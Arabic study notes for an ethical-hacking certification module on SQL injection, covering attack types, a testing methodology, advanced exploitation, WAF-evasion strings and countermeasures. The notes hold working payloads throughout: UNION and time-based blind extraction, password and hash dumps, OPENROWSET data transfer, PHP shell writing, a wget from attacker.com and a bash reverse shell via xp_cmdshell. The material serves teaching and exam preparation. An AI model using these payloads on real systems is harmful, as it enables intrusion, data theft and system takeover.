01مفاهيم الـ SQL Injection

ما هو الـ SQL Injection؟

الـ SQL (Structured Query Language) لغة نصية يستخدمها سيرفر قاعدة البيانات. أوامره الأساسية: INSERT، SELECT، UPDATE، DELETE.

المبرمجون يستخدمون أوامر SQL تسلسلية مع بارامترات يُوفِّرها العميل، مما يُسهِّل على المهاجم حقن أوامر. الـ SQL Injection تقنية تستغل ثغرات الإدخال غير المعقَّم لتمرير أوامر SQL عبر تطبيق الويب للتنفيذ في قاعدة البيانات الخلفية.

السبب الجوهري

SQL Injection ثغرة في تطبيق الويب وليست في قاعدة البيانات أو الـ Web Server. السبب هو أن التطبيق لا يتحقّق بشكل صحيح من المدخلات قبل تمريرها لجملة SQL.

لماذا يُعدّ SQL Injection خطيرًا؟

نوع الهجومالأثر
Authentication Bypassتسجيل الدخول بدون اسم مستخدم أو كلمة مرور صالحين — الحصول على صلاحيات Admin
Authorization Bypassتعديل معلومات التفويض المخزَّنة في قاعدة البيانات
Information Disclosureاستخراج معلومات حسّاسة مخزَّنة في قاعدة البيانات
Compromised Data Integrityتشويه صفحات الويب، حقن محتوى خبيث، تعديل محتوى قاعدة البيانات
Compromised Data Availabilityحذف بيانات قاعدة البيانات أو السجلات أو معلومات التدقيق
Remote Code Executionاختراق نظام التشغيل المضيف

02أنواع الـ SQL Injection

النوع الرئيسيالوصفالأنواع الفرعية
In-band SQL Injectionالمهاجم يستخدم نفس قناة الاتصال لتنفيذ الهجوم واسترداد النتائج — الأكثر شيوعًا والأسهل استغلالًاError-based، UNION Injection، Stored Procedure، Tautology، End-of-Line Comment، In-line Comments، Piggybacked Query
Blind / Inferential SQL Injectionلا توجد رسائل خطأ — المهاجم يُرسِل الاستعلام الخبيث ويستنتج البنية من النتائج Boolean. أبطأ في التنفيذ لأن النتيجة دائمًا True/FalseBoolean Exploitation، Heavy Query، Time-based (WAITFOR DELAY)، Double-Blind
Out-of-Band SQL Injectionيستخدم قنوات اتصال مختلفة (وظائف البريد الإلكتروني أو كتابة الملفات) للهجوم والحصول على النتائج — صعب التنفيذ لأنه يتطلّب التحقّق من خصائص سيرفر قاعدة البياناتDNS Exfiltration، HTTP Requests

In-band SQL Injection — الأنواع الفرعية

النوعالشرحالمثال
Error-basedالمهاجم يُدخِل بيانات خاطئة عمدًا يُرغِم قاعدة البيانات على إرجاع رسالة خطأ تكشف معلومات عنها — مفيد جدًا لبناء طلب استغلال الثغرةid=10||UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL))-- → ORA-292257
System Stored Procedureاستغلال الإجراءات المخزَّنة لو التطبيق لا يُعقِّم المدخلات المستخدَمة لبناء استعلامات SQL ديناميكية لهاتنفيذ أوامر OS عبر xp_cmdshell
Illegal / Logically Incorrect Queryإرسال استعلام غير صحيح عمدًا لتوليد رسالة خطأ مفيدة لاستخراج بنية قاعدة البياناتحقن أنواع بيانات خاطئة أو أسماء جداول غير موجودة
Tautologyاستخدام شرط OR بحيث يكون شرط WHERE دائمًا صحيحًا — يُستخدَم لتجاوز المصادقةOR 1=1--
End-of-Line Commentاستخدام -- لتحويل بقية الاستعلام الأصلي لتعليق يُتجاهَلadmin'-- → يتجاهل شرط كلمة المرور
In-line Commentsدمج مدخلات ضعيفة متعددة في استعلام واحد بـ /* */ — يتجاوز Blacklisting ويُزيل المسافات ويُشوِّشUN/**/ION SEL/**/ECT
Piggybacked Queryحقن استعلام خبيث إضافي ملحق بالاستعلام الأصلي باستخدام الفاصلة المنقوطة ; كمُفصِّل استعلامات — يُسمّى أيضًا Stacked Queries AttackSELECT...; DROP TABLE users--

UNION SQL Injection

تقنية تدمج استعلامًا مزوَّرًا مع الاستعلام الأصلي. بعد تحديد عدد وأنواع الأعمدة:

sql — union injection example
SELECT Name, Phone, Address FROM Users WHERE Id=1
-- الهجوم:
$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
-- النتيجة: يضيف أرقام بطاقات الائتمان لنتيجة الاستعلام الأصلي

Blind SQL Injection — Boolean وHeavy Query

التقنيةالشرح
Boolean Exploitationإرسال جمل True وFalse ومقارنة استجابة الصفحة لاستنتاج نجاح الحقن. مثال: id=67 AND 1=2 → صفحة فارغة = نجاح الحقن
Heavy Queryاستخدام استعلامات ثقيلة تستغرق وقتًا طويلًا بدلًا من دوال التأخير — يُنشئ تأخيرًا زمنيًا بضمّات متعددة على جداول النظام. مثال: AND 1 < SELECT count(*) FROM all_users A, all_users B, all_users C
Double-Blind SQL Injection

هجوم متقدّم بدون أي تغذية راجعة مباشرة (لا Error Messages ولا بيانات). المهاجم يبحث عن مؤشّرات غير مباشرة: تغيّرات في سلوك التطبيق أو أوقات الاستجابة. يستخدم Boolean-based وTime-based Blind SQL Injection.


03منهجية الـ SQL Injection

مرحلة جمع المعلومات

1
التحقّق من الاتصال بقاعدة البيانات

تحديد ما إذا كان تطبيق الويب يتصل بسيرفر قاعدة بيانات للوصول للبيانات.

2
تعداد حقول الإدخال

جمع كل حقول الإدخال والحقول المخفية وطلبات POST التي يمكن استخدامها في صياغة استعلام SQL.

3
حقن كود اختباري

محاولة حقن كود في حقول الإدخال لتوليد خطأ.

4
اختبار الأنواع

محاولة إدخال قيمة نصية حيث تُتوقَّع قيمة رقمية في حقل الإدخال.

5
استخدام UNION

استخدام عامل UNION لدمج نتائج SELECT بيانات إضافية.

6
قراءة رسائل الخطأ

التحقّق من رسائل الخطأ التفصيلية للحصول على معلومات لتنفيذ الهجوم.

كشف الثغرات — Function Testing

http — function testing payloads
http://certifiedhacker.com/?parameter=123
http://certifiedhacker.com/?parameter=1'
http://certifiedhacker.com/?parameter=1'#
http://certifiedhacker.com/?parameter=1"
http://certifiedhacker.com/?parameter=1 AND 1=1--
http://certifiedhacker.com/?parameter=1 AND 1=2--
http://certifiedhacker.com/?parameter=1'/*
http://certifiedhacker.com/?parameter=1' AND '1'='1
http://certifiedhacker.com/?parameter=1 order by 1000

كشف مشاكل الإدخال

ما تبحث عنهأسلوب الكشف
Input Sanitizationإرسال علامة اقتباس مفردة ' أو مزدوجة " كإدخال لتحديد ما لم يُعقَّم
SQL Identifier Injectionاستخدام القوس الأيمن ] لتحديد ما يُستخدَم كجزء من معرِّف SQL بدون تعقيم
Truncation Issuesإرسال سلاسل طويلة من الاقتباسات المفردة أو القوس — قد تستنفد دوال REPLACE وQUOTENAME
SQL Modificationإرسال سلاسل طويلة من البيانات غير المفيدة — قد تُطلِق أخطاء SQL في الصفحة

Union SQL Injection — استخراج تفصيلي

sql — union injection enumeration
-- 1. استخراج اسم قاعدة البيانات
http://certifiedhacker.com/page.aspx?id=1 UNION SELECT ALL 1,DB_NAME,3,4--

-- 2. استخراج أسماء الجداول
http://certifiedhacker.com/page.aspx?id=1 UNION SELECT ALL 1,TABLE_NAME,3,4
    from sysobjects where xtype=char(85)--

-- 3. استخراج أسماء الأعمدة
http://certifiedhacker.com/page.aspx?id=1 UNION SELECT ALL 1,column_name,3,4
    from DB_NAME.information_schema.columns where table_name='EMPLOYEE_TABLE'--

-- 4. استخراج البيانات من العمود الأول
http://certifiedhacker.com/page.aspx?id=1 UNION SELECT ALL 1,COLUMN-NAME-1,3,4
    from EMPLOYEE_NAME--

Blind SQL Injection — استخراج بيانات المستخدم (Time-based)

sql — blind time-based user extraction
-- فحص طول اسم المستخدم
http://certifiedhacker.com/page.aspx?id=1; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
http://certifiedhacker.com/page.aspx?id=1; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
-- (زيّد الرقم لحد ما الـ DBMS يرجع TRUE)

-- فحص الحرف الأول من اسم المستخدم (a=97, b=98, c=99...)
http://certifiedhacker.com/page.aspx?id=1; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
http://certifiedhacker.com/page.aspx?id=1; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--

-- نفس الأسلوب لاسم قاعدة البيانات
http://certifiedhacker.com/page.aspx?id=1; IF (LEN(DB_NAME())=4) WAITFOR DELAY '00:00:10'--
http://certifiedhacker.com/page.aspx?id=1; IF (ASCII(lower(substring((DB_NAME()),1,1)))=97) WAITFOR DELAY '00:00:10'--
-- (لو DB_NAME() = ABCD: a=97, b=98, c=99, d=100 → كلها TRUE)
آلية Time-based

المنطق بسيط: لو الاستعلام صحيح يتأخّر الرد 10 ثواني = TRUE، لو فوري = FALSE. بالتكرار مع كل حرف وكل موضع تقدر تبني اسم المستخدم/قاعدة البيانات حرفًا بحرف.

Blind SQL Injection — Out-of-Band Exploitation

sql — out-of-band via oracle utl_http
SELECT * FROM products WHERE id_product=10
-- الطلب الخبيث (Oracle):
http://www.example.com/product.php?id=10||UTL_HTTP.request('testerserver.com:80')||(SELECT user FROM DUAL)--
-- يُرسِل نتيجة الاستعلام لسيرفر المهاجم عبر HTTP

Second-Order SQL Injection

يحدث لما بيانات الإدخال تُخزَّن في قاعدة البيانات أولًا، ثم تُستخدَم لاحقًا في معالجة استعلام SQL آخر بدون تحقّق أو Parameterized Queries.

1
حقن الإدخال

المهاجم يُرسِل إدخالًا مُصمَّمًا في طلب HTTP — التطبيق يحفظه في قاعدة البيانات ويردّ على الطلب.

2
إرسال طلب ثانٍ

المهاجم يُرسِل طلبًا ثانيًا.

3
تنفيذ الحقن

التطبيق يعالج الطلب الثاني بالإدخال الأول المخزَّن وينفّذ استعلام SQL الخبيث.

4
استلام النتائج

النتائج تُرجَع للمهاجم في الاستجابة على الطلب الثاني إن وُجِدت.


04الـ Advanced SQL Injection

تعداد قاعدة البيانات

sql — database enumeration
-- جميع قواعد البيانات على السيرفر
' and 1 in (select min(name) from master.dbo.sys.databases where name >'.') --

-- مكان ملفات قواعد البيانات
' and 1 in (select min(filename) from master.dbo.sys.databases where filename >'.') --

-- جداول وأعمدة في استعلام واحد
' union select 0, sys.objects.name + ': ' + sys.columns.name + ': ' + sys.types.name, 1,1,'1',1,1,1,1,1
  from sys.objects, sys.columns, sys.types
  where sys.objects.xtype = 'U'
  AND sys.objects.id = sys.columns.id
  AND sys.columns.xtype = sys.types.xtype --

سرقة كلمات المرور والـ Hashes

sql — password grabbing
-- استخراج كلمات المرور كنص
begin declare @var varchar(8000) set @var=':'
select @var=@var+' '+login+'/'+password+' ' from users where login>@var
select @var as var into temp end; --
' and 1 in (select var from temp) --
' ; drop table temp --

-- استخراج SQL Server Hashes
SELECT password FROM sys.syslogins

نقل قاعدة البيانات لجهاز المهاجم

المهاجم يربط سيرفر SQL المستهدَف بجهازه عبر OPENROWSET ثم ينقل البيانات على Port 80.

sql — database transfer via openrowset
'; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
  'select * from mydatabase..hacked_sysdatabases') select * from sys.sysdatabases--
'; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
  'select * from mydatabase..table1') select * from database..table1--

التفاعل مع نظام التشغيل (OS Interaction)

الطريقةالشرح
قراءة وكتابة ملفات النظامLOAD_FILE() وINTO OUTFILE() في MySQL
تنفيذ مباشر عبر Remote Shellxp_cmdshell في MSSQL أو PHP Shell عبر MySQL
sql — mysql file system interaction
-- قراءة ملف /etc/passwd
NULL UNION ALL SELECT LOAD_FILE('/etc/passwd')/*

-- كتابة PHP Shell على السيرفر
NULL UNION ALL SELECT NULL,NULL,NULL,NULL,''
INTO OUTFILE '/var/www/certifiedhacker.com/shell.php'/*

-- بعد كتابة الـ Shell:
http://www.certifiedhacker.com/shell.php?command=wget http://attacker.com/malware

إنشاء OS Shell باستخدام MySQL وMSSQL

sql — create os shell
-- MySQL: كتابة PHP Shell
SELECT '' FROM usertable
INTO dumpfile '/var/www/html/shell.php'

-- معرفة مسار الـ Web Server
SELECT @@datadir;

-- MSSQL: xp_cmdshell لإنشاء Reverse Shell على Port 8080
EXEC xp_cmdshell 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'

إنشاء Database Backdoor عبر Trigger

sql — malicious trigger backdoor
-- مثال: Trigger يضبط سعر كل منتج على 0 تلقائيًا
CREATE OR REPLACE TRIGGER SET_PRICE
AFTER INSERT OR UPDATE ON ITEMS
FOR EACH ROW BEGIN
    UPDATE ITEMS SET Price = 0;
END;
خطورة Database Backdoor

الـ Trigger ينفّذ تلقائيًا عند كل INSERT أو UPDATE على الجدول — المهاجم يستطيع التحكّم في البيانات بشكل مستمرّ حتى بعد اكتشاف الاختراق وإزالة الـ Payload الأولي.

DNS Exfiltration عبر SQL Injection

المهاجم يستخدم استعلامات DNS لاستخراج البيانات (مثل Password Hashes). طلبات DNS من السيرفر يمكنها عبور جدار الحماية عبر سيرفر DNS داخلي حتى لو كان الـ Firewall يمنع الإرسال المباشر للإنترنت.

MongoDB / NoSQL Injection

MongoDB يستخدم قاعدة بيانات NoSQL معرَّضة لهجمات NoSQL Injection. التطبيقات التي تستخدمها (PHP وJavaScript وPython وJava) قد تحتوي هذه الثغرة في كود المصادقة — تُتيح تجاوز Authentication وسرقة البيانات وتعديلها. مثال: تطبيق PHP يسمح بعملية $where في MongoDB — المهاجم يحقن كود JavaScript خبيث يعرض قائمة المستخدمين.

أدوات SQL Injection

الأداةالشرح
sqlmapأداة Penetration Testing مفتوحة المصدر تُؤتِّم الكشف عن ثغرات SQL Injection واستغلالها والاستيلاء على سيرفرات قواعد البيانات (sqlmap.org)
Moleأداة استغلال SQL Injection تلقائية — تحتاج فقط URL ضعيف وسلسلة صالحة على الموقع لتكتشف الحقن وتستغله بـ Union أو Boolean Query
jSQLInjectionGitHub
NoSQLMapGitHub — لـ NoSQL
HavijGitHub
blind_sql_bitshiftingGitHub — Blind SQL Injection متخصَّص

05تقنيات تجاوز الـ Firewall والـ IDS

أنواع تقنيات تجاوز التوقيعات (Signature Evasion)

التقنيةالشرحمثال
In-line Commentsإدراج تعليقات بين كلمات SQL المفتاحية لإخفاء النمطUN/**/ION SEL/**/ECT
Char Encodingاستخدام دالة CHAR() لتمثيل الأحرف بدون علامات الاقتباسchar(47,101,116,99) = /etc
String Concatenationتقسيم الكلمة المفتاحية وتجميعها بإرشادات خاصة بالـ DBDB-specific concat operators
Obfuscated Codeجعل جملة SQL صعبة الفهمتشابك الكلمات المفتاحية
Manipulating White Spacesإدراج مسافات زائدة أو بديلة بين الكلمات المفتاحيةUNION%09SELECT (Tab)
Hex Encodingتمثيل الاستعلام بترميز Hex0x4F52 = OR
Sophisticated Matchesبديل لـ OR 1=1OR 'a'='a'، OR 1 LIKE 1
URL Encodingإضافة % قبل كل Code Point%55NION = UNION
Null Byteاستخدام %00 قبل النص لتجاوز آلية الكشف%00 UNION SELECT
Case Variationخلط الأحرف الكبيرة والصغيرةuNiOn SeLeCt
Declare Variablesتخزين جمل SQL في متغيّرات وتمريرهاDECLARE @v varchar(100); SET @v='UNION...'
IP Fragmentationتقسيم الحزمة لشظايا تحمل الـ Payload دون أن يكشفها توقيع الـ IDSTiny Fragments
Variationsجملة WHERE دائمًا TRUEWHERE 1 BETWEEN 0 AND 2

تقنيات Bypass الـ Firewall

http — firewall bypass techniques
-- Normalization Method
/?id=1/*union*/union/*select*/select+1,2,3/*

-- HPP Technique (HTTP Parameter Pollution)
/?id=1;select+1&id=2,3+from+users+where+id=1--

-- HPF Technique (مع UNION)
/?a=1+union/*&b=*/select+1,2
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--

-- Blind SQL (بدائل OR/AND)
/?id=1+OR+0x50=0x50
/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

-- Signature Bypass
/?id=1+union+(select+'xz'from+xxx)
/?id=(1)union(select(1),mid(hash,1,32)from(users))

-- Buffer Overflow Method (C/C++ firewalls)
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4...

-- CRLF Technique
http://www.certifiedhacker.com/info.php?id=1+%0A%0Dunion%0A%0D+%0A%0Dselect%0A%0D+1,2,3,4,5--

Char Encoding — أمثلة تطبيقية

sql — char encoding examples
-- تحميل ملف بدون علامات اقتباس (string = "/etc/passwd")
' union select 1,(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;

-- حقن بدون علامات اقتباس (string = "%")
' or username like char(37);

-- حقن بدون علامات اقتباس (string = "root")
' union select * from users where login = char(114,111,111,116);

-- فحص وجود ملف (string = "n.ext")
' and 1=(if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));

06الإجراءات المضادة

أفضل ممارسات منع SQL Injection

  1. لا تفترض أي شيء عن حجم أو نوع أو محتوى البيانات المُستلَمة — دائمًا تحقّق
  2. اختبر حجم ونوع الإدخال وفرض حدودًا مناسبة لمنع Buffer Overflows
  3. اختبر محتوى متغيّرات النصوص واقبل فقط القيم المتوقَّعة
  4. ارفض الإدخالات التي تحتوي بيانات ثنائية أو Escape Sequences أو محارف التعليقات
  5. لا تبنِ جمل Transact-SQL مباشرةً من إدخال المستخدم — استخدم Stored Procedures للتحقّق
  6. طبِّق طبقات متعددة من التحقّق ولا تدمج إدخال المستخدم غير المتحقَّق منه
  7. تجنّب بناء SQL ديناميكي بقيم مُدخَلة متسلسلة (String Concatenation)
  8. استخدم أنواع حسابات SQL الأكثر تقييدًا للتطبيقات (Least Privilege)
  9. تأكّد إن ملفات Web Config لا تحتوي معلومات حسّاسة
  10. نفِّذ اختبار Black Box Injection الآلي وتحليل الكود الثابت والاختبار اليدوي
  11. احتفِظ بالبيانات غير الموثوقة منفصلة عن الأوامر والاستعلامات
  12. في غياب Parameterized API استخدم Escape Syntax خاصة بالمفسِّر لإزالة الأحرف الخاصة
  13. استخدم خوارزمية Hash آمنة مثل SHA256 لتخزين كلمات مرور المستخدمين (لا تخزّن Plaintext)
  14. استخدم Data Access Abstraction Layer لتطبيق وصول آمن للبيانات في كل التطبيق
  15. صمِّم الكود بحيث يلتقط ويعالج الاستثناءات بشكل مناسب
  16. أزِل رسائل Code Tracing وDebug قبل نشر التطبيق
  17. طبِّق قواعد Least Privilege لتشغيل التطبيقات التي تصل لـ DBMS
  18. احذف الحسابات الافتراضية من قاعدة بيانات SQL
  19. استخدم ORM Frameworks مثل Hibernate وSpring Data JPA — توفّر آليات مدمَجة لبناء وتنفيذ استعلامات SQL بأمان مع Parameterization تلقائي

أدوات كشف SQL Injection

الأداةالرابط
Ghaurigithub.com
Burp Suiteportswigger.net
HCL AppScanhcl-software.com
Invictiinvicti.com
sqlmapsqlmap.org
Arachniecsypno.com
Qualys WASqualys.com
Fortify WebInspectmicrofocus.com
BeSECUREbeyondsecurity.com
sqlifindergithub.com
Wapitiwapiti-scanner.github.io
InsightAppSecrapid7.com
Acunetixacunetix.com
Detectifydetectify.com
SonarQubesonarsource.com
Veracodeveracode.com
PVS-Studiopvs-studio.com
Coverity Scanscan.coverity.com

Cheat Sheet مرجعي

مقارنة أنواع SQL Injection

النوعقناة النتائجالسرعةيحتاج Error Messages؟مثال
In-band (Error-based)نفس القناةسريعنعمORA-29257، MySQL Errors
In-band (UNION)نفس القناةسريعلا (يحتاج عدد الأعمدة)UNION SELECT creditCardNumber
Blind Booleanنفس القناة (True/False)بطيءلاAND 1=1 مقابل AND 1=2
Blind Time-basedنفس القناة (تأخير)بطيء جدًالاWAITFOR DELAY
Double-Blindمؤشّرات غير مباشرةبطيء جدًالاسلوك التطبيق وأوقات الاستجابة
Out-of-Bandقناة مختلفة (DNS/HTTP)متغيّرلاUTL_HTTP.request
Second-Orderمؤجَّل — يُنفَّذ بطلب لاحقمختلفلابيانات مخزَّنة تُنفَّذ لاحقًا

تقنيات In-band — مقارنة سريعة

التقنيةالفكرة الجوهرية
TautologyWHERE دائمًا TRUE — OR 1=1
End-of-Line Comment-- يُلغي باقي الاستعلام
In-line Comments/* */ لتجاوز الـ Blacklisting
Piggybacked Query; لإضافة استعلام ثانٍ
System Stored Procedurexp_cmdshell لتنفيذ أوامر OS
Union InjectionUNION لضمّ نتائج جدول آخر
Error-basedUTL_INADDR/UTL_HTTP لاستخراج بيانات في رسائل الخطأ

تسلسل Advanced SQL Injection

1
تعداد قواعد البيانات والجداول

sys.databases، sysobjects، information_schema.columns

2
سرقة كلمات المرور والـ Hashes

SELECT FROM sys.syslogins — حقن في جدول Users

3
نقل قاعدة البيانات

OPENROWSET على Port 80

4
التفاعل مع نظام الملفات

LOAD_FILE() ، INTO OUTFILE() في MySQL

5
إنشاء OS Shell

PHP Shell + xp_cmdshell / bash Reverse Shell

6
إنشاء Database Backdoor

CREATE TRIGGER يُعدِّل البيانات تلقائيًا

7
DNS Exfiltration

استخراج Hashes عبر طلبات DNS


الخلاصة العامة للموديول

الموديول ناقش مفاهيم SQL Injection وأسبابه، وأنواعه الثلاثة الرئيسية (In-band وBlind وOut-of-Band) مع أنواعها الفرعية، ومنهجية الهجوم الكاملة (جمع المعلومات، اكتشاف الثغرات، تنفيذ Union وBlind وOut-of-Band)، والـ Advanced SQL Injection (تعداد قاعدة البيانات ونقلها والتفاعل مع OS وإنشاء Backdoors وDNS Exfiltration وNoSQL Injection)، ثم تقنيات تجاوز الـ WAF والإجراءات المضادة والأدوات.

$ cat ./module15_summary.txt

SQL Injection ليس مجرّد سرقة بيانات — هو في أسوأ أحواله مفتاح لنظام التشغيل كله. من UNION SELECT للحصول على الأعمدة، لـ INTO OUTFILE لزرع PHP Shell، لـ xp_cmdshell لتشغيل أوامر OS، لـ Reverse Shell للسيطرة الكاملة — كل هذا يبدأ من مدخل واحد غير مُتحقَّق منه.

Exam Tip

أسئلة هذا الموديول تُركِّز على: الفرق بين In-band وBlind وOut-of-Band، الفرق بين Boolean وTime-based Blind SQL Injection، الفرق بين Piggybacked Query وTautology وEnd-of-Line Comment، آلية Second-Order SQL Injection، كيف تستخدم LOAD_FILE() وINTO OUTFILE() وxp_cmdshell، وتقنيات تجاوز WAF (Char Encoding وIn-line Comments وNull Byte).


نهاية نوتس الموديول الخامس عشر — SQL Injection